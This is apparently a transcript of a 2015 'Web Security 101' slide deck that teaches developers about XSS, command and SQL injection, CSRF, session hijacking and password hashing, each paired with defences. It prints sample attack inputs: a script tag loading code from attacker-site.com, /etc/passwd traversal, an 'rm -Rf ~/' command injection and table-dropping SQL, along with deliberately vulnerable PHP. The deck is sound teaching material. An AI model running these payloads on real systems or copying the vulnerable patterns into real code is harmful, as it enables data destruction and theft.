Web Security 101

© 2015 Adobe Systems Incorporated. All Rights Reserved.

Web Security 101Brent Shaffer | Matrix Architect

© 2015 Adobe Systems Incorporated. All Rights Reserved. 2

Why are we talking about this?

▪ Your framework / programming language does not do everything for you ▪ Your website is vulnerable ▪ Security through obscurity is not sufficient

▪ Your friends may want to embarrass you ▪ "hactivists" might make you look like a fool ▪ bots are always busy

▪ Many attacks are easy to prevent ▪ The first step is becoming aware of the types of attacks that exist


Rules of Thumb

▪ All Inputs are Evil! ▪ Do not trust your users ▪ Do not trust your users' cookies, parameters, or HTTP Headers ▪ "All servers are evil" is also a good assumption for end-users

▪ Whitelists are better than blacklists ▪ Never store passwords in plaintext ▪ Never store your passwords in source code ▪ Don't leak error messages


Cross Site Scripting (XSS)

▪ The term XSS describes a specific kind of injection attack ▪ XSS injects Javascript (or other scripts) that run on the victim's client (browser) ▪ This malicious code usually steals cookies of the person who views the infected web page.

▪ Exploits a user's trust of a site. Can be combined with phishing or CSRF to steal all kinds of things.

▪ Accounted for 84% of all website security vulnerabilities (Symantec, 2007)

<script src="http://attacker-site.com/malicious-code.js"> </script>


▪ Validate user input when storing ▪ Escape when using variables in output

▪ based off the content type it's being used in ▪ Escaping HTML for a variable in JavaScript will not save you

▪ Use Templating Languages ▪ HAML, Twig (PHP), Jinja (Python), Pebble (Java) ▪ If this isn't possible, use Output Escaping

▪ Use a Markup Language if you want user-input rich text ▪ markdown, textile, rst

6

Cross Site Scripting (XSS)


Code Injection

▪ Comes in many forms ▪ Command-Line injection ▪ SQL-injection ▪ HTML ▪ JavaScript (XSS)


Code Injection - Command-Line injection

▪ File paths based on user input is NOT OKAY

$user_id = $_GET['user_id'];$file = "/some/path/config/$user_id.json";require $file;

▪ Attackers can access filesystem using "upwards" paths

?user_id=../../../etc/passwd #


$user_id = $_GET['user_id'];$pic = "/some/path/pictures/$user_id.jpg";if (`ls $pic`) { ... }


▪ Avoid user input when executing on the command line

▪ Commands like exec, passthru, and system are often used to execute bash commands

?user_id=./ && rm -Rf ~/


$user_id = $_GET['user_id'];$file = "/some/path/config/$user_id.json";eval ("file_get_contents('$pic');");


▪ Avoid using dynamic code execution

▪ Commands like eval are used to dynamically evaluate PHP code

?user_id=foo');file_get_contents('etc/passwd


▪ strip “upwards” paths ▪ ensure all files are relative to a safe “root” ▪ be very strict on validation ▪ output-escaping depending on the context

▪ escapeshellcmd for exec ▪ addslashes for eval

▪ use with extreme caution



Code Injection - SQL injection

© xkcd.com

http://xkcd.com


▪ Similar to code injection, but happens when user input is used as part of a SQL query

$search = $_GET['search'];$sql = "SELECT * FROM students WHERE name = '$search'";

▪ Can be used to delete, corrupt, or steal data.

?search=';DROP ALL TABLES?search=';UPDATE students SET name=jerkface?search=foo' OR public=0



▪ SANITIZE YOUR INPUTS ▪ use "bound variables"

$search = $_GET['search'];$sql = "SELECT * FROM students WHERE name = ?";$statement = $pdo->prepare($sql, $search);$statement->execute();

▪ Use ORMs / Database Abstraction Layers when possible



Cross-Site Request Forgery (CSRF)

▪ Exploits the browsers running on the client ▪ Exploits a site's trust in its users ▪ Victim is logged into Vulnerable Website ▪ Attacker has Victim make a request to Vulnerable Website without them knowing

▪ Victim submits a form on Fake Website, but it actually posts to Vulnerable Website ▪ Victim clicks a link it believes is for Fake Website, but it actually goes to Vulnerable Website ▪ An action is executed on behalf of Victim that they did not intend

https://facebook.com/authorize?client_id=HackerGuy&authorized=true

▪ The Infamous "Samy Worm"


▪ Validate the Referrer ▪ The HTTP Referrer header says which URL initiated the request ▪ You can use this to block from any referrer that isn't you ▪ Only works if a whitelist can be constructed for where the requests will come from

▪ Use a CSRF-Token ▪ This is a token generated for each request based on the client's session ID ▪ Each form submits this back to the website ▪ Very difficult for an attacker to spoof

<input type="hidden" name="csrf" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt">

Cross-Site Request Forgery (CSRF)


Session Hijacking

▪ Similar to CSRF ▪ The attacker obtains the victim's cookie, and is then able to perform actions on their behalf ▪ Typically done for websites not secured with SSL/HTTPS ▪ Open networks and insecure networks (WEP) commonly found in public areas make it possible to

view other traffic on the same router ▪ Plugins make this incredibly easy

▪ FireSheep / Cookie Cadger / DroidSheep ▪ Sniffing is easy with tools like WireShark


Session Hijacking

▪ Use SSL/HTTPS you dummy! ▪ It is not enough to only secure the page the user logs into ▪ Don't allow HTTP on any site with user logins

▪ As the end user, usually whining and complaining can go a long way ▪ A few months after FireSheep, Facebook and Twitter implemented HTTPS throughout the site


Proper Password Management

19

▪ NEVER STORE PASSWORDS IN PLAINTEXT ▪ always use a hash (one-way)

▪ just hashing is not enough ▪ Lookup Tables / Rainbow Tables

▪ all passwords < 7 characters require 64GB space to crack ▪ always use a salt

▪ a random unique string for each password


Proper Password Management

▪ Brute Forcing ▪ a lot faster than you think ▪ 2012 Macbook Pro for salted MD5s:

▪ 6 char passwords: 5 hours ▪ 7 char passwords: 22 days ▪ entire english language: 1.8 seconds

▪ How to combat ▪ Use slow algorithms ▪ Iterate over hashing functions a lot of times ▪ require 8-character passwords, numbers/symbols, etc.


Resources

▪ Top 10 Common Attacks: https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet ▪ Automatic SQL Injection & Database Takeover Tool: http://sqlmap.org ▪ Amazon Mistake: http://www.devfactor.net/2014/12/30/2375-amazon-mistake/ ▪ Burger King Hack: http://mashable.com/2013/02/18/burger-king-twitter-account-hacked/ ▪ Twitter Hack: http://countermeasures.trendmicro.eu/twitter-not-hacked-by-iranian-cyber-army/ ▪ Samy's Confession: http://namb.la/popular/tech.html ▪ Bobby Tables: http://bobby-tables.com ▪ Notorious Hacks: http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history ▪ Passwords: http://www.slideshare.net/ircmaxell/password-storage-and-attacking-in-php-php-argentina ▪ More Good Slides: http://www.slideshare.net/mpeters/web-security-101

https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet

http://sqlmap.org

http://www.devfactor.net/2014/12/30/2375-amazon-mistake/

http://mashable.com/2013/02/18/burger-king-twitter-account-hacked/

http://countermeasures.trendmicro.eu/twitter-not-hacked-by-iranian-cyber-army/

http://namb.la/popular/tech.html

http://bobby-tables.com

http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history

http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history

http://www.slideshare.net/ircmaxell/password-storage-and-attacking-in-php-php-argentina

http://www.slideshare.net/mpeters/web-security-101


Brent [email protected]: @bshafferGithub: @bshaffer

Questions?

Web Security 101

Software

Transcript of Web Security 101